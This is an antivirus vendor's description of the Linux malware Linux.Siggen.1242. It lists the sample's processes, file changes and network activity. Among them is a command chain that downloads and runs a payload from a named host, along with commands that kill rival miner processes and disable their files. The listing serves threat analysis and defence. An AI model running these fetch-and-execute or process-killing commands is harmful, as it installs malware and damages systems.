Library
My library

+ Add to library

Contact us
24/7 Tech support | Rules regarding submitting

Send a message

Your tickets

Profile

Linux.Siggen.1242

Added to the Dr.Web virus database: 2018-10-27

Virus description added:

Technical Information

Malicious functions:
Launches itself as a daemon
Compiles a program from source codes:
  • gcc
Modifies firewall settings:
  • iptables
Launches processes:
  • sh -c exec bash --login
  • bash --login
  • id -u
  • ls /etc/bash_completion.d
  • mesg n
  • top
  • make
  • wget ss.sydwzl.cn/a7
  • chmod 777 a7
  • ./a7
  • touch /tmp/.a7
  • grep -i -q redis /var/spool/cron/atjobs
  • grep -i -q redis /var/spool/cron/atspool
  • grep -i -q redis /var/spool/cron/crontabs
  • grep -i -q redis /var/spool/cron/crontabs/*
  • grep -i -q redis /etc/crontab
  • grep -i -q redis /etc/cron.d/*
  • rm -rf /etc/x7
  • chmod -x /etc/xig
  • chmod -x /root/cranberry /tmp/cranberry /root/yam
  • chmod -x /etc/root.sh
  • chmod -x /usr/bin/gpg-agentd
  • chmod -x /usr/bin/kworker
  • chmod -x /usr/local/bin/gpg-agentd
  • pkill -f stratum
Attempts to kill the following processes:
  • killall -9 xig
  • killall -9 cranberry
  • killall -9 root.sh
  • killall -9 gpg-agentd
  • killall -9 .gpg-agent
  • killall -9 xmr-stak
  • killall -9 kworker
  • killall -9 .gpg
  • killall -9 pnscan
  • killall -9 netfs
  • killall -9 geth
Performs operations with the file system:
Modifies file access rights:
  • /dev/pts/0
  • /var/tmp/a7
Creates or modifies files:
  • /dev/pts/0
  • /dev/ptmx
  • /var/tmp/a7
  • /tmp/.a7
Deletes files:
  • /etc/x7
Network activity:
Establishes connection:
  • 11#.##.150.172:1024
  • <LOCAL_DNS_SERVER>
HTTP GET requests:
  • ss.##dwzl.cn/a7
DNS ASK:
  • ss.##dwzl.cn
Sends data to the following servers:
  • 11#.##.150.172:1024
Receives data from the following servers:
  • 11#.##.150.172:1024
Other:
Collects OS information
Collects CPU information
Collects RAM information
Collects information about network activity

Curing recommendations


Linux

After booting up, run a full scan of all disk partitions with Dr.Web Anti-virus for Linux.

Free trial

One month (no registration) or three months (registration and renewal discount)

Download Dr.Web

Download by serial number